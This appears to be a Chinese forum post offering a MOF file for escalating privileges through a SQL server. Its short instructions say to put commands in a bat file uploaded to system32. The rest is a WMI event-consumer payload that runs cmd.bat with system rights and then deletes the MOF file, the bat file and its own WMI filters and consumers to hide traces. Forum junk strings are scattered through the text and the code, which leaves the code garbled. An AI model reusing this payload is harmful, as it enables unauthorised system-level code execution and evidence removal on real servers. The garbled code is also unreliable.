这个sql提权MOF需要运行 system下的文件,不能定义路径。
# j6 K# o7 z, p$ j需要将要运行的命令写入到bat上传到system32目录,然后执行。# d) s8 T/ o. s, ^2 ?, E6 p
5 S8 \! O; S& U* z
这个sql提权MOF需要运行 system下的文件,不能定义路径。6 u' K8 C" g0 I/ W4 ?- ^
需要将要运行的命令写入到bat上传到system32目录,然后执行。. u3 c& s( t2 Y. x; ]* s, D; J
; g$ S. w! A; B/ x
#pragma. k6 w: K+ W* C, b T1 Z
namespace("\\\\.\\root\\cimv2")3 `! ~; O' ~/ i! j7 t! h! S
class8 S& S8 M) q b, b" ?! u
MyClass547
7 k- M8 R6 Y/ J) d7 { { [key]
: h- ?3 |$ I4 Q string. J: B6 I3 W( m
Name;* ]6 m5 _/ A- {- x
};& L% ~ L I, y4 T2 K1 B3 M% j- @# d
class* F- M. \* F. X- J% L
ActiveScriptEventConsumer
. x: C) e$ ^# ~7 j: z : __EventConsumer { [key]: @0 o/ C6 }/ |: p" [% Q* Q! `0 W, j
string
z' J. W# Z: @% C2 d0 e) F Name; [not_null]
8 o3 J, ]$ i4 F$ d! D" W string- r/ P# ^# r8 ?4 m
ScriptingEngine; string
/ X# r1 S, b2 \: B# X ScriptFileName; [template]
H8 E3 b" M! n4 Y% O% z; t3 I string
) j3 X5 Z3 v9 W ScriptText; uint32 KillTimeout;1 I# e* o* ~" S
}; instance of __Win32Provider as $P {, }, B! _* X/ f$ C+ s* u
Name
1 }- O$ @5 G( q" H( ~) B- Q+ s =
' r, B6 f9 \3 E1 E- t: p# E, x' e0 D; w "ActiveScriptEventConsumer"; CLSID =
* o! s6 J& v; K0 [ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
" c8 e( [6 M. H& Q$ _# ` PerUserInitialization% Q% l. C2 u1 d2 {* ^
= TRUE;) `0 r' W [7 A, N; m$ n) E
}; instance of __EventConsumerProviderRegistration { Provider) ]/ r# A9 C' s
= $P; ConsumerClassNames
7 i* r% q6 F0 j$ R) B h =- R+ D1 [4 C% S. W
{"ActiveScriptEventConsumer"};
- U3 O' }4 Z1 H* ^/ j0 v };; Q, L/ M- J7 f5 h( E) \
Instance of ActiveScriptEventConsumer
; w s9 L0 e9 i0 n as $cons { Name! s% X0 `& O1 G6 L9 F/ {$ l
=' T: B! E1 ?' i: {# f; Q5 T. F
"ASEC"; ScriptingEngine
) ]2 g2 E' w, g1 V =! @1 p! t# J/ c; F
"JScript"; ScriptText
! Q+ A @- o# f4 o9 u% R% \% P =! d& q* V, {7 Z- U
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };6 j i5 w% n1 z1 @
Instance of ActiveScriptEventConsumer
5 G$ o) m: f T! z7 K as $cons2 { Name3 g$ c/ L8 l$ j( S
=' f: Y6 U& V: C& m% o, ]
"qndASEC"; ScriptingEngine% G% A: @$ P1 \7 r3 X. R: `
=
" P' [4 J$ L" p% Y "JScript"; ScriptText) Z6 W: W' t ]% T' x
=
7 J4 I" G' i/ z' v "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ f; Q& X: |: F u }; instance of __EventFilter as $Filt { Name
) y- y4 |" L$ e, u$ I =. V+ [! D; T6 f* M- ~. P
"instfilt"; Query
4 a' k9 C7 Y6 w =& Q- b" R% |+ K. }4 `, x, @5 i
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
, _: a$ y/ [; p& | =" g6 a, D o+ C6 U2 J
"WQL"; }; instance of __EventFilter as $Filt2 { Name
2 v( T0 \' y) s =" S: t f" D- u& \3 @5 t2 A
"qndfilt"; Query( G" p) X7 _4 @: m+ @
=
9 s+ A, w% o3 p8 c "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
6 O: L6 M+ `5 }- I =) o3 G+ s& G, h1 ^# C7 o
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
. O# L% f) M- w& U5 T = $cons; Filter
: [3 S, Q3 m3 M = $Filt;
3 T2 o3 k; U* c$ F1 M0 ] y3 Q }; instance of __FilterToConsumerBinding as $bind2 { Consumer
& T% E# Z2 q: f9 [8 a/ o0 j = $cons2; Filter6 ?) C7 H% m9 P" T1 K& ~* D
= $Filt2;
4 U/ s/ Q8 Q, A7 f6 }$ T' a% |5 { }; instance of MyClass547
# ]+ N! |( T6 Q4 @ as $MyClass { Name
: p& z+ m2 C& ] e =& d7 V* W7 K- _( z- `# W
"ClassConsumer";4 ~" \1 u+ F! t% j2 g3 M1 K
}; |